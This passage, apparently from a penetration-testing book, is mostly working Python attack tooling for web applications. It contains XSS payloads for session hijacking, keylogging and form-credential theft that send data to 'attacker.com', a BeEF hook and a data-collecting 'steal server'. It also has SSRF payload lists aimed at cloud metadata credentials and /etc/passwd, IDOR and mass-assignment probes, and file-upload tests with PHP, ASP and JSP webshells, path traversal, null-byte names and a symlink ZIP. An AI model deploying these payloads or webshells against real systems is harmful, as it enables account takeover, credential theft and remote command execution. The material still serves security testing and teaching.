        </script>
        """
        
        return {
            'payload': payload.strip(),
            'type': 'credential_harvesting',
            'description': 'Steals form submissions'
        }
    
    def generate_port_scan_payload(self):
        """Generate internal port scanner using XSS"""
        
        payload = """
        <script>
        function scanPort(ip, port) {
            var img = new Image();
            img.onerror = function() {
                console.log('Port ' + port + ' is open?');
                // Report back
            };
            img.onload = function() {
                console.log('Port ' + port + ' might be open');
            };
            img.src = 'http://' + ip + ':' + port;
        }
        
        // Scan common internal IPs and ports
        var ips = ['192.168.1.1', '192.168.0.1', '10.0.0.1'];
        var ports = [80, 443, 22, 3306, 5432, 8080];
        
        for (var i = 0; i < ips.length; i++) {
            for (var j = 0; j < ports.length; j++) {
                setTimeout(scanPort, j * 100, ips[i], ports[j]);
            }
        }
        </script>
        """
        
        return {
            'payload': payload.strip(),
            'type': 'port_scan',
            'description': 'Scans internal network'
        }
    
    def generate_beef_hook_payload(self, beef_url='http://localhost:3000/hook.js'):
        """Generate BeEF hook payload"""
        
        payload = f'<script src="{beef_url}"></script>'
        
        return {
            'payload': payload,
            'type': 'beef_hook',
            'description': 'Hooks browser into BeEF framework'
        }
    
    def generate_polyglot_payload(self):
        """Generate polyglot XSS payload for multiple contexts"""
        
        payload = """
        /*<?php/**/javascript:*/alert(1)//\
        --><!--></textarea></script><svg/onload=alert(1) src=//\
        '">' onmouseover=alert(1) '>
        <img src=x onerror=alert(1)>
        """
        
        return {
            'payload': payload.strip(),
            'type': 'polyglot',
            'description': 'Works in multiple contexts'
        }
    
    def test_payload(self, payload, additional_params=None):
        """Test if payload executes"""
        
        encoded_payload = quote(payload)
        test_url = f"{self.target_url}?{self.param_name}={encoded_payload}"
        
        if additional_params:
            for key, value in additional_params.items():
                test_url += f"&{key}={quote(value)}"
                
        try:
            response = requests.get(test_url)
            
            # Check if payload reflected
            if payload in response.text:
                return {
                    'url': test_url,
                    'status_code': response.status_code,
                    'payload_reflected': True,
                    'length': len(response.text)
                }
        except Exception as e:
            return {'error': str(e)}
            
        return None
    
    def create_steal_server(self):
        """Simple HTTP server to steal data"""
        
        from http.server import HTTPServer, BaseHTTPRequestHandler
        
        class StealHandler(BaseHTTPRequestHandler):
            def do_GET(self):
                print(f"[+] Received: {self.path}")
                self.send_response(200)
                self.end_headers()
                
            def do_POST(self):
                content_length = int(self.headers['Content-Length'])
                post_data = self.rfile.read(content_length)
                print(f"[+] Received POST: {post_data.decode('utf-8', errors='ignore')}")
                self.send_response(200)
                self.end_headers()
                
        server = HTTPServer(('0.0.0.0', 8080), StealHandler)
        print("[*] Starting steal server on port 8080...")
        server.serve_forever()

# Example usage
exploiter = XSSExploiter('https://example.com/search', 'q')

# Generate different payloads
payloads = [
    exploiter.generate_session_hijacking_payload('http://attacker.com'),
    exploiter.generate_beef_hook_payload(),
    exploiter.generate_keylogger_payload('http://attacker.com'),
    exploiter.generate_port_scan_payload()
]

# Test payloads
for payload_info in payloads:
    print(f"\n[*] Testing {payload_info['type']} payload...")
    result = exploiter.test_payload(payload_info['payload'])
    if result and result.get('payload_reflected'):
        print(f"  [+] Payload reflected! URL: {result['url']}")

13.3 Cross-Site Request Forgery (CSRF)

CSRF attacks force authenticated users to execute unwanted actions on web applications where they're currently authenticated.

13.3.1 CSRF Detection and Testing

#!/usr/bin/env python3
# csrf_tester.py

import requests
import re
from urllib.parse import urlparse, parse_qs

class CSRFTester:
    def __init__(self, target_url, session_cookie=None):
        self.target_url = target_url
        self.session_cookie = session_cookie
        self.session = requests.Session()
        
        if session_cookie:
            self.session.cookies.update(session_cookie)
            
    def check_csrf_token_presence(self, form_url):
        """Check if forms contain CSRF tokens"""
        
        try:
            response = self.session.get(form_url)
            
            csrf_indicators = [
                'csrf',
                'token',
                '_token',
                'authenticity_token',
                'csrfmiddlewaretoken',
                'csrf_token',
                '__RequestVerificationToken',
                'nonce',
                'xsrf'
            ]
            
            found_tokens = []
            
            for indicator in csrf_indicators:
                if indicator in response.text.lower():
                    # Look for input fields with these names
                    pattern = f'<input[^>]*name=["\']([^"\']*{indicator}[^"\']*)["\'][^>]*>'
                    matches = re.findall(pattern, response.text, re.IGNORECASE)
                    
                    for match in matches:
                        found_tokens.append({
                            'name': match,
                            'in_form': True
                        })
                        
            return {
                'has_csrf_tokens': len(found_tokens) > 0,
                'tokens': found_tokens,
                'url': form_url
            }
            
        except Exception as e:
            return {'error': str(e)}
    
    def test_same_origin_policy(self, action_url):
        """Test if requests validate origin/referer headers"""
        
        test_cases = [
            {
                'name': 'Same Origin',
                'origin': urlparse(self.target_url).netloc,
                'referer': self.target_url,
                'expected': 200
            },
            {
                'name': 'Different Origin',
                'origin': 'evil.com',
                'referer': 'https://evil.com',
                'expected': 403
            },
            {
                'name': 'No Referer',
                'origin': None,
                'referer': None,
                'expected': 403
            },
            {
                'name': 'Spoofed Origin',
                'origin': urlparse(self.target_url).netloc,
                'referer': 'https://evil.com',
                'expected': 403
            }
        ]
        
        results = []
        
        for test in test_cases:
            headers = {}
            if test['origin']:
                headers['Origin'] = test['origin']
            if test['referer']:
                headers['Referer'] = test['referer']
                
            try:
                response = self.session.get(action_url, headers=headers)
                
                results.append({
                    'test': test['name'],
                    'status_code': response.status_code,
                    'vulnerable': response.status_code == test['expected'] and test['expected'] == 200,
                    'headers_sent': headers
                })
            except Exception as e:
                results.append({
                    'test': test['name'],
                    'error': str(e)
                })
                
        return results
    
    def generate_csrf_poc(self, form_data, action_url, method='POST'):
        """Generate CSRF proof of concept HTML"""
        
        html = f"""
        <!DOCTYPE html>
        <html>
        <head>
            <title>CSRF Proof of Concept</title>
        </head>
        <body>
            <h1>CSRF Exploit</h1>
            <p>This form will automatically submit a request to {action_url}</p>
            
            <form id="csrfForm" action="{action_url}" method="{method}">
        """
        
        for name, value in form_data.items():
            html += f'            <input type="hidden" name="{name}" value="{value}">\n'
            
        html += """
            </form>
            
            <script>
                // Auto-submit the form
                document.getElementById('csrfForm').submit();
            </script>
            
            <noscript>
                <button onclick="document.getElementById('csrfForm').submit()">
                    Click here to submit (JavaScript required for auto-submit)
                </button>
            </noscript>
        </body>
        </html>
        """
        
        return html
    
    def test_csrf_vulnerability(self, form_url, action_url, form_data):
        """Test for CSRF vulnerability"""
        
        results = {
            'csrf_token_check': self.check_csrf_token_presence(form_url),
            'origin_validation': self.test_same_origin_policy(action_url),
            'csrf_vulnerable': False,
            'recommendations': []
        }
        
        # Determine if vulnerable
        token_check = results['csrf_token_check']
        
        if not token_check.get('has_csrf_tokens', True):
            # No CSRF tokens found
            results['csrf_vulnerable'] = True
            results['recommendations'].append("Implement anti-CSRF tokens in all state-changing forms")
            
        # Check origin validation
        for test in results['origin_validation']:
            if test.get('vulnerable') and test['test'] in ['Different Origin', 'No Referer', 'Spoofed Origin']:
                results['csrf_vulnerable'] = True
                results['recommendations'].append("Validate Origin and Referer headers")
                break
                
        # Try to generate a successful CSRF request
        try:
            # Create a new session (simulating victim)
            victim_session = requests.Session()
            
            # First, victim logs in (simulated)
            # In real testing, you'd have the victim authenticated
            
            # Then, attacker's forged request
            forged_response = victim_session.post(action_url, data=form_data)
            
            results['forged_request_status'] = forged_response.status_code
            
            if forged_response.status_code == 200:
                results['csrf_vulnerable'] = True
                results['recommendations'].append("Action successfully executed without valid CSRF token")
                
        except Exception as e:
            results['forged_request_error'] = str(e)
            
        return results
    
    def test_csrf_on_all_forms(self, base_url):
        """Test all forms on a page for CSRF"""
        
        try:
            response = self.session.get(base_url)
            
            # Find all forms
            form_pattern = r'<form[^>]*action=["\']([^"\']*)["\'][^>]*>(.*?)</form>'
            forms = re.findall(form_pattern, response.text, re.DOTALL | re.IGNORECASE)
            
            results = []
            
            for action, form_content in forms:
                # Resolve relative URLs
                if not action.startswith('http'):
                    action = requests.compat.urljoin(base_url, action)
                    
                # Find all inputs
                input_pattern = r'<input[^>]*name=["\']([^"\']*)["\'][^>]*>'
                inputs = re.findall(input_pattern, form_content)
                
                # Find method
                method_pattern = r'method=["\']([^"\']*)["\']'
                method_match = re.search(method_pattern, form_content, re.IGNORECASE)
                method = method_match.group(1) if method_match else 'GET'
                
                # Prepare form data (with example values)
                form_data = {}
                for input_name in inputs:
                    if input_name not in ['submit', 'button']:
                        form_data[input_name] = 'test_value'
                        
                # Test this form
                form_result = self.test_csrf_vulnerability(base_url, action, form_data)
                form_result['form_action'] = action
                form_result['form_method'] = method
                
                results.append(form_result)
                
            return results
            
        except Exception as e:
            return {'error': str(e)}

# Example usage
tester = CSRFTester('https://example.com', {'session': 'victim_session_cookie'})

# Test a specific form
result = tester.test_csrf_vulnerability(
    'https://example.com/profile',
    'https://example.com/update-profile',
    {'email': 'attacker@evil.com', 'name': 'Hacked'}
)

print(json.dumps(result, indent=2))

if result['csrf_vulnerable']:
    print("\n[!] CSRF vulnerability detected!")
    poc = tester.generate_csrf_poc(
        {'email': 'attacker@evil.com', 'name': 'Hacked'},
        'https://example.com/update-profile'
    )
    
    with open('csrf_poc.html', 'w') as f:
        f.write(poc)
    print("[+] CSRF PoC saved to csrf_poc.html")

13.4 Server-Side Request Forgery (SSRF)

SSRF allows attackers to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing.

13.4.1 SSRF Detection and Exploitation

#!/usr/bin/env python3
# ssrf_tester.py

import requests
import socket
import ipaddress
from urllib.parse import urlparse, urljoin

class SSRFTester:
    def __init__(self, target_url, param_name, method='GET'):
        self.target_url = target_url
        self.param_name = param_name
        self.method = method
        self.vulnerabilities = []
        
    def generate_payloads(self):
        """Generate SSRF test payloads"""
        return {
            'local': [
                'http://127.0.0.1',
                'http://localhost',
                'http://[::1]',
                'http://0.0.0.0',
                'http://0',
                'http://127.0.0.1:22',
                'http://127.0.0.1:80',
                'http://127.0.0.1:443',
                'http://127.0.0.1:3306',
                'http://127.0.0.1:5432',
                'http://127.0.0.1:6379',
                'http://127.0.0.1:9200',
                'http://127.0.0.1:27017',
                'http://127.0.0.1:8080',
                'https://localhost',
                'file:///etc/passwd',
                'file:///c:/windows/win.ini'
            ],
            'internal': [
                'http://10.0.0.1',
                'http://10.0.0.2',
                'http://172.16.0.1',
                'http://172.17.0.1',
                'http://192.168.1.1',
                'http://192.168.0.1',
                'http://169.254.169.254',  # AWS metadata
                'http://169.254.169.254/latest/meta-data/',
                'http://metadata.google.internal',
                'http://metadata.google.internal/computeMetadata/v1/',
                'http://100.100.100.200/latest/meta-data/',  # Aliyun
                'http://169.254.169.254/2009-04-04/meta-data/'
            ],
            'protocols': [
                'file:///etc/passwd',
                'file:///c:/windows/win.ini',
                'dict://127.0.0.1:11211/',  # Memcached
                'gopher://127.0.0.1:8080/_GET / HTTP/1.0',
                'ftp://127.0.0.1:21/',
                'sftp://127.0.0.1:22/',
                'ldap://127.0.0.1:389/',
                'smb://127.0.0.1:445/',
                'redis://127.0.0.1:6379/',
                'mysql://127.0.0.1:3306/',
                'postgresql://127.0.0.1:5432/'
            ],
            'bypass': [
                'http://127.0.0.1#.evil.com',
                'http://127.0.0.1@evil.com',
                'http://evil.com@127.0.0.1',
                'http://127.0.0.1.evil.com',
                'http://localhost.evil.com',
                'http://evil.com/127.0.0.1',
                'http://127.0.0.1:80@evil.com:80',
                'https://127.0.0.1/',
                'http://[::1]/',
                'http://0x7f000001/',  # Hex representation
                'http://0177.0.0.1/',  # Octal
                'http://2130706433/',   # Decimal
                'http://127.0.0.1.nip.io/',
                'http://localtest.me/'
            ]
        }
    
    def test_ssrf(self, payloads):
        """Test for SSRF vulnerability"""
        
        results = []
        
        for category, payload_list in payloads.items():
            print(f"[*] Testing {category} payloads...")
            
            for payload in payload_list:
                # Prepare request based on method
                if self.method.upper() == 'GET':
                    url = f"{self.target_url}?{self.param_name}={payload}"
                    response = requests.get(url, timeout=5, allow_redirects=False)
                elif self.method.upper() == 'POST':
                    data = {self.param_name: payload}
                    response = requests.post(self.target_url, data=data, timeout=5)
                else:
                    response = None
                    
                if response:
                    # Check for indicators of successful SSRF
                    indicators = self.check_ssrf_indicators(response, payload)
                    
                    if indicators:
                        results.append({
                            'category': category,
                            'payload': payload,
                            'status_code': response.status_code,
                            'indicators': indicators,
                            'response_length': len(response.text)
                        })
                        
        self.vulnerabilities = results
        return results
    
    def check_ssrf_indicators(self, response, payload):
        """Check for SSRF success indicators"""
        
        indicators = []
        
        # Common internal service fingerprints
        fingerprints = {
            'AWS': ['iam', 'instance-id', 'meta-data', 'local-ipv4'],
            'MySQL': ['mysql', 'MariaDB', 'SQL syntax'],
            'Redis': ['redis_version', 'redis_mode'],
            'MongoDB': ['MongoDB', 'wire version'],
            'Elasticsearch': ['elasticsearch', 'cluster_name'],
            'Docker': ['Docker', 'Containers'],
            'Kubernetes': ['kubernetes', 'kube-system'],
            'Apache': ['Apache', 'It works'],
            'Nginx': ['nginx', 'Welcome to nginx'],
            'IIS': ['IIS', 'Internet Information Services'],
            'SSH': ['SSH-2.0', 'OpenSSH'],
            'FTP': ['FTP', '220', '230 Login successful']
        }
        
        # Check response for fingerprints
        response_text = response.text.lower()
        for service, fingerprints_list in fingerprints.items():
            for fingerprint in fingerprints_list:
                if fingerprint.lower() in response_text:
                    indicators.append(f"Detected {service}: {fingerprint}")
                    
        # Check for file contents
        if '/etc/passwd' in payload and 'root:' in response.text:
            indicators.append("File read successful: /etc/passwd")
            
        if 'win.ini' in payload and '[fonts]' in response.text:
            indicators.append("File read successful: windows/win.ini")
            
        # Check for error messages that indicate attempted connection
        error_indicators = [
            'Connection refused',
            'Connection timed out',
            'Network is unreachable',
            'Failed to connect',
            'Unable to connect'
        ]
        
        for error in error_indicators:
            if error.lower() in response_text:
                indicators.append(f"Error indicates attempted connection: {error}")
                
        # Check for modified response (different from baseline)
        baseline = requests.get(self.target_url)
        if abs(len(response.text) - len(baseline.text)) > 100:
            indicators.append("Response length differs significantly from baseline")
            
        return indicators
    
    def test_cloud_metadata(self):
        """Specifically test for cloud metadata endpoints"""
        
        cloud_endpoints = {
            'AWS': [
                'http://169.254.169.254/latest/meta-data/',
                'http://169.254.169.254/latest/user-data/',
                'http://169.254.169.254/latest/meta-data/iam/security-credentials/'
            ],
            'GCP': [
                'http://metadata.google.internal/computeMetadata/v1/',
                'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/'
            ],
            'Azure': [
                'http://169.254.169.254/metadata/instance?api-version=2017-08-01',
                'http://169.254.169.254/metadata/identity/oauth2/token'
            ],
            'DigitalOcean': [
                'http://169.254.169.254/metadata/v1.json'
            ],
            'Aliyun': [
                'http://100.100.100.200/latest/meta-data/'
            ]
        }
        
        results = {}
        
        for cloud, endpoints in cloud_endpoints.items():
            results[cloud] = []
            
            for endpoint in endpoints:
                if self.method.upper() == 'GET':
                    url = f"{self.target_url}?{self.param_name}={endpoint}"
                    
                    try:
                        response = requests.get(url, timeout=5,
                                              headers={'Metadata-Flavor': 'Google'})
                        
                        if response.status_code == 200 and len(response.text) > 0:
                            results[cloud].append({
                                'endpoint': endpoint,
                                'status': response.status_code,
                                'data_preview': response.text[:200]
                            })
                    except:
                        pass
                        
        return results
    
    def test_internal_port_scan(self, ip_range='127.0.0.1', ports=None):
        """Use SSRF to scan internal ports"""
        
        if ports is None:
            ports = [22, 80, 443, 3306, 5432, 6379, 8080, 9200, 27017]
            
        results = []
        
        for port in ports:
            payload = f"http://{ip_range}:{port}"
            url = f"{self.target_url}?{self.param_name}={payload}"
            
            try:
                response = requests.get(url, timeout=3)
                
                # Different response might indicate open port
                results.append({
                    'port': port,
                    'status_code': response.status_code,
                    'response_length': len(response.text),
                    'likely_open': response.status_code != 500 or 'Connection refused' not in response.text
                })
            except requests.Timeout:
                results.append({
                    'port': port,
                    'error': 'timeout',
                    'likely_open': True
                })
            except:
                results.append({
                    'port': port,
                    'error': 'exception',
                    'likely_open': False
                })
                
        return results

# Example usage
tester = SSRFTester('https://example.com/fetch', 'url')
payloads = tester.generate_payloads()

print("[*] Testing for SSRF vulnerabilities...")
results = tester.test_ssrf(payloads)

if results:
    print(f"\n[!] Found {len(results)} potential SSRF vulnerabilities:")
    for result in results:
        print(f"  - {result['category']}: {result['payload']}")
        print(f"    Status: {result['status_code']}")
        for indicator in result['indicators']:
            print(f"    [!] {indicator}")

# Test cloud metadata
print("\n[*] Testing cloud metadata endpoints...")
cloud_results = tester.test_cloud_metadata()
for cloud, endpoints in cloud_results.items():
    if endpoints:
        print(f"  [!] {cloud} metadata accessible!")
        for endpoint in endpoints:
            print(f"    - {endpoint['endpoint']}")

13.5 Insecure Direct Object References (IDOR)

IDOR vulnerabilities occur when an application exposes direct references to internal objects, allowing attackers to access unauthorized data.

13.5.1 IDOR Detection

#!/usr/bin/env python3
# idor_tester.py

import requests
import itertools
from urllib.parse import urljoin

class IDORTester:
    def __init__(self, base_url, auth_cookies=None):
        self.base_url = base_url
        self.session = requests.Session()
        if auth_cookies:
            self.session.cookies.update(auth_cookies)
        self.vulnerabilities = []
        
    def test_numeric_id(self, endpoint, id_param='id', start=1, end=100):
        """Test numeric ID enumeration"""
        
        url_template = f"{self.base_url}/{endpoint}?{id_param}="
        
        # First, get baseline with known valid ID
        try:
            response = self.session.get(f"{url_template}{start}")
            baseline_length = len(response.text)
            baseline_status = response.status_code
        except:
            baseline_length = 0
            baseline_status = 404
            
        found = []
        
        for i in range(start, end + 1):
            url = f"{url_template}{i}"
            
            try:
                response = self.session.get(url)
                
                # Check if response differs from baseline
                if response.status_code != baseline_status or abs(len(response.text) - baseline_length) > 50:
                    found.append({
                        'id': i,
                        'url': url,
                        'status_code': response.status_code,
                        'length': len(response.text)
                    })
                    
                    # Check if we can access without auth (test with new session)
                    anon_session = requests.Session()
                    anon_response = anon_session.get(url)
                    
                    if anon_response.status_code == 200:
                        self.vulnerabilities.append({
                            'type': 'IDOR - No Authentication Required',
                            'url': url,
                            'id': i
                        })
                        
            except Exception as e:
                print(f"Error testing ID {i}: {e}")
                
        return found
    
    def test_uuid_patterns(self, endpoint, known_uuid):
        """Test UUID patterns"""
        
        # Common UUID patterns
        patterns = [
            known_uuid.replace('-', ''),
            known_uuid.replace('a', 'b'),
            known_uuid.replace('1', '2'),
            known_uuid[:-5] + '00000' + known_uuid[-5:],
            known_uuid[:14] + '0' * 4 + known_uuid[18:]
        ]
        
        found = []
        
        for pattern in patterns:
            url = f"{self.base_url}/{endpoint}/{pattern}"
            
            try:
                response = self.session.get(url)
                
                if response.status_code == 200:
                    found.append({
                        'url': url,
                        'pattern': pattern,
                        'status': response.status_code
                    })
            except:
                pass
                
        return found
    
    def test_horizontal_privilege_escalation(self, endpoint, your_id, id_param='user_id'):
        """Test accessing other users' data"""
        
        # Try IDs around your own
        test_ids = [your_id + i for i in range(-5, 6) if your_id + i != your_id]
        
        # Try sequential IDs
        test_ids.extend([1, 2, 3, 4, 5, 10, 100])
        
        # Try common admin IDs
        test_ids.extend([0, 1, 999, 1000, 9999, 10000])
        
        results = []
        
        # Get your own data first as baseline
        your_url = f"{self.base_url}/{endpoint}?{id_param}={your_id}"
        your_response = self.session.get(your_url)
        your_data_length = len(your_response.text)
        
        for test_id in test_ids:
            url = f"{self.base_url}/{endpoint}?{id_param}={test_id}"
            
            try:
                response = self.session.get(url)
                
                # If we get data and it's different from our own
                if response.status_code == 200 and len(response.text) > 0:
                    if abs(len(response.text) - your_data_length) > 50:
                        results.append({
                            'id': test_id,
                            'url': url,
                            'length': len(response.text)
                        })
                        
                        self.vulnerabilities.append({
                            'type': 'IDOR - Horizontal Privilege Escalation',
                            'url': url,
                            'accessed_id': test_id,
                            'your_id': your_id
                        })
            except:
                pass
                
        return results
    
    def test_vertical_privilege_escalation(self, endpoint, your_role='user'):
        """Test accessing admin-level functions"""
        
        admin_endpoints = [
            '/admin',
            '/admin/users',
            '/admin/settings',
            '/administrator',
            '/manage',
            '/management',
            '/dashboard',
            '/control-panel',
            '/console',
            '/api/admin',
            '/admin/api/users',
            '/admin/users/list',
            '/admin/users/edit',
            '/admin/config',
            '/admin/settings/general',
            '/user/admin',
            '/users/admin',
            '/root',
            '/superuser'
        ]
        
        admin_params = {
            'admin': 'true',
            'role': 'admin',
            'privilege': 'admin',
            'access': 'admin',
            'user_type': 'administrator'
        }
        
        results = []
        
        # Test direct admin endpoints
        for admin_endpoint in admin_endpoints:
            url = urljoin(self.base_url, admin_endpoint)
            
            try:
                response = self.session.get(url)
                
                if response.status_code != 403 and response.status_code != 401:
                    results.append({
                        'url': url,
                        'status': response.status_code,
                        'length': len(response.text)
                    })
                    
                    if response.status_code == 200:
                        self.vulnerabilities.append({
                            'type': 'IDOR - Vertical Privilege Escalation',
                            'url': url,
                            'description': 'Admin endpoint accessible with user privileges'
                        })
            except:
                pass
                
        # Test with admin parameters
        for endpoint in [endpoint] + admin_endpoints[:5]:
            for param, value in admin_params.items():
                url = f"{self.base_url}{endpoint}?{param}={value}"
                
                try:
                    response = self.session.get(url)
                    
                    if response.status_code != 403 and response.status_code != 401:
                        results.append({
                            'url': url,
                            'param': param,
                            'value': value,
                            'status': response.status_code
                        })
                except:
                    pass
                    
        return results
    
    def test_parameter_manipulation(self, endpoint, original_params):
        """Test manipulation of multiple parameters"""
        
        results = []
        
        # Try different parameter combinations
        for param_name in original_params.keys():
            # Try removing parameter
            modified_params = original_params.copy()
            del modified_params[param_name]
            
            url = f"{self.base_url}/{endpoint}"
            try:
                response = self.session.get(url, params=modified_params)
                
                if response.status_code == 200:
                    results.append({
                        'type': 'parameter_removal',
                        'param_removed': param_name,
                        'url': url
                    })
            except:
                pass
                
            # Try modifying parameter values
            for value in ['1', '0', 'true', 'false', 'admin', 'all', '*']:
                modified_params = original_params.copy()
                modified_params[param_name] = value
                
                try:
                    response = self.session.get(url, params=modified_params)
                    
                    if response.status_code == 200:
                        results.append({
                            'type': 'parameter_modification',
                            'param': param_name,
                            'value': value,
                            'url': url
                        })
                except:
                    pass
                    
        return results
    
    def test_mass_assignment(self, endpoint, update_data):
        """Test for mass assignment vulnerabilities"""
        
        sensitive_fields = [
            'admin', 'is_admin', 'role', 'user_role', 'privilege',
            'permissions', 'group', 'user_group', 'access_level',
            'account_type', 'user_type', 'membership', 'subscription',
            'plan', 'tier', 'level', 'rank', 'status',
            'is_active', 'enabled', 'disabled', 'locked',
            'balance', 'credit', 'points', 'score',
            'email_verified', 'verified', 'confirmed'
        ]
        
        results = []
        
        for field in sensitive_fields:
            test_data = update_data.copy()
            test_data[field] = 'admin' if 'admin' in field.lower() else 'true'
            
            try:
                response = self.session.post(
                    f"{self.base_url}/{endpoint}",
                    data=test_data
                )
                
                # Check if the update was accepted
                if response.status_code == 200:
                    results.append({
                        'field': field,
                        'value': test_data[field],
                        'status': response.status_code
                    })
                    
                    # Verify if the field was actually updated
                    verify_response = self.session.get(f"{self.base_url}/{endpoint}")
                    if field in verify_response.text:
                        self.vulnerabilities.append({
                            'type': 'Mass Assignment',
                            'field': field,
                            'value': test_data[field]
                        })
            except:
                pass
                
        return results
    
    def generate_report(self):
        """Generate IDOR vulnerability report"""
        
        report = {
            'total_vulnerabilities': len(self.vulnerabilities),
            'vulnerabilities': self.vulnerabilities,
            'recommendations': [
                "Implement proper access control checks for all object references",
                "Use indirect references (e.g., maps, hashes) instead of direct IDs",
                "Validate user permissions before returning any data",
                "Implement random, unpredictable IDs where possible",
                "Add logging for unauthorized access attempts",
                "Use role-based access control (RBAC) consistently"
            ]
        }
        
        return report

# Example usage
tester = IDORTester('https://example.com/api', {'session': 'user_session'})

print("[*] Testing horizontal privilege escalation...")
horizontal_results = tester.test_horizontal_privilege_escalation('users', 123)

print("[*] Testing vertical privilege escalation...")
vertical_results = tester.test_vertical_privilege_escalation('profile')

print("[*] Testing numeric ID enumeration...")
numeric_results = tester.test_numeric_id('documents', 'id', 1, 50)

if tester.vulnerabilities:
    print(f"\n[!] Found {len(tester.vulnerabilities)} IDOR vulnerabilities:")
    for vuln in tester.vulnerabilities:
        print(f"  - {vuln['type']}: {vuln.get('url', vuln.get('field', 'N/A'))}")

13.6 File Upload Attacks

        # ASP webshell
        test_files['asp_webshell'] = {
            'content': '<% Execute(Request("cmd")) %>',
            'filename': 'shell.asp',
            'mime': 'application/x-as'
        }
        
        # JSP webshell
        test_files['jsp_webshell'] = {
            'content': '<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>',
            'filename': 'shell.jsp',
            'mime': 'application/x-jsp'
        }
        
        # Python script
        test_files['python_script'] = {
            'content': 'print("Hello")',
            'filename': 'test.py',
            'mime': 'text/x-python'
        }
        
        # JavaScript file
        test_files['javascript'] = {
            'content': 'alert("XSS")',
            'filename': 'test.js',
            'mime': 'application/javascript'
        }
        
        # HTML file with XSS
        test_files['html_xss'] = {
            'content': '<html><body><script>alert("XSS")</script></body></html>',
            'filename': 'xss.html',
            'mime': 'text/html'
        }
        
        # SVG with embedded script
        test_files['svg_xss'] = {
            'content': '''<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <script type="text/javascript">
      alert("XSS");
   </script>
   <rect width="300" height="100" style="fill:rgb(0,0,255);" />
</svg>''',
            'filename': 'xss.svg',
            'mime': 'image/svg+xml'
        }
        
        # Valid image with PHP payload in comments
        test_files['image_with_php'] = {
            'content': None,  # Will be created from actual image
            'filename': 'image.php.jpg',
            'mime': 'image/jpeg',
            'type': 'create_from_image'
        }
        
        # Empty file
        test_files['empty'] = {
            'content': '',
            'filename': 'empty.txt',
            'mime': 'text/plain'
        }
        
        # Very large file (potential DoS)
        test_files['large'] = {
            'content': 'A' * 10 * 1024 * 1024,  # 10MB
            'filename': 'large.txt',
            'mime': 'text/plain'
        }
        
        # Directory traversal attempt
        test_files['path_traversal'] = {
            'content': 'test',
            'filename': '../../../etc/passwd',
            'mime': 'text/plain'
        }
        
        # Null byte injection
        test_files['null_byte'] = {
            'content': 'test',
            'filename': 'shell.php%00.jpg',
            'mime': 'image/jpeg'
        }
        
        # ZIP file with symlink
        test_files['zip_symlink'] = {
            'content': None,  # Will create ZIP
            'filename': 'symlink.zip',
            'mime': 'application/zip',
            'type': 'create_zip'
        }
        
        return test_files
    
    def create_image_with_payload(self, image_path, payload):
        """Embed payload in image metadata"""
        try:
            from PIL import Image, PngImagePlugin
            
            # Open image
            img = Image.open(image_path)
            
            # Add comment with payload
            if image_path.lower().endswith('.png'):
                meta = PngImagePlugin.PngInfo()
                meta.add_text('Comment', payload)
                img.save('payload_image.png', pnginfo=meta)
                return 'payload_image.png'
            else:
                # For JPEG, store in comment
                img.save('payload_image.jpg', comment=payload)
                return 'payload_image.jpg'
        except Exception as e:
            print(f"Error creating image: {e}")
            return None
    
    def create_zip_with_symlink(self, target_file):
        """Create ZIP file with symlink pointing to sensitive file"""
        import zipfile
        import os
        
        zip_filename = 'symlink.zip'
        
        with zipfile.ZipFile(zip_filename, 'w') as zf:
            # Create symlink info (platform dependent)
            zip_info = zipfile.ZipInfo('../../../../etc/passwd')
            zip_info.create_system = 3  # Unix
            zip_info.external_attr = 0o120777 << 16  # Symlink
            zf.writestr(zip_info, target_file)
            
        return zip_filename
    
    def test_upload(self, test_files):
        """Test file upload functionality"""
        
        results = []
        
        for test_name, file_info in test_files.items():
            print(f"[*] Testing: {test_name}")
            
            try:
                # Handle special file types
                if file_info.get('type') == 'create_from_image':
                    # Download a valid image first
                    img_response = requests.get('https://via.placeholder.com/150')
                    with open('base_image.jpg', 'wb') as f:
                        f.write(img_response.content)
                    
                    # Create image with PHP payload
                    payload_image = self.create_image_with_payload(
                        'base_image.jpg',
                        '<?php system($_GET["cmd"]); ?>'
                    )
                    
                    if payload_image:
                        with open(payload_image, 'rb') as f:
                            files = {self.file_param: (file_info['filename'], f, file_info['mime'])}
                            response = requests.post(self.upload_url, files=files)
                elif file_info.get('type') == 'create_zip':
                    zip_file = self.create_zip_with_symlink('/etc/passwd')
                    with open(zip_file, 'rb') as f:
                        files = {self.file_param: (file_info['filename'], f, file_info['mime'])}
                        response = requests.post(self.upload_url, files=files)
                else:
                    # Regular file upload
                    files = {
                        self.file_param: (
                            file_info['filename'],
                            file_info['content'].encode() if isinstance(file_info['content'], str) else file_info['content'],
                            file_info['mime']
                        )
                    }
                    response = requests.post(self.upload_url, files=files)
                
                # Analyze response
                result = self.analyze_response(response, test_name, file_info)
                results.append(result)
                
                # Check if file was actually stored and is accessible
                self.check_file_access(response, test_name, file_info)
                
            except Exception as e:
                print(f"  Error: {e}")
                results.append({
                    'test': test_name,
                    'error': str(e)
                })
                
        return results
    
    def analyze_response(self, response, test_name, file_info):
        """Analyze upload response"""
        
        result = {
            'test': test_name,
            'filename': file_info['filename'],
            'status_code': response.status_code,
            'success': response.status_code in [200, 201, 302]
        }
        
        # Check for reflected filename
        if file_info['filename'] in response.text:
            result['filename_reflected'] = True
            self.vulnerabilities.append({
                'type': 'Filename Reflection',
                'test': test_name,
                'filename': file_info['filename']
            })
        
        # Check for path disclosure
        path_indicators = ['/var/www/', 'C:\\', '/home/', '/upload/']
        for indicator in path_indicators:
            if indicator in response.text:
                result['path_disclosure'] = indicator
                self.vulnerabilities.append({
                    'type': 'Path Disclosure',
                    'test': test_name,
                    'path': indicator
                })
                break
        
        # Check for error messages
        error_indicators = ['error', 'warning', 'fatal', 'exception', 'stack trace']
        for indicator in error_indicators:
            if indicator in response.text.lower():
                result['error_message'] = indicator
                break
                
        return result
    
    def check_file_access(self, response, test_name, file_info):
        """Check if uploaded file is accessible"""
        
        # Try to determine upload path from response
        import re
        
        upload_paths = []
        
        # Look for URL in response
        url_pattern = r'(https?://[^\s"\']+)'
        urls = re.findall(url_pattern, response.text)
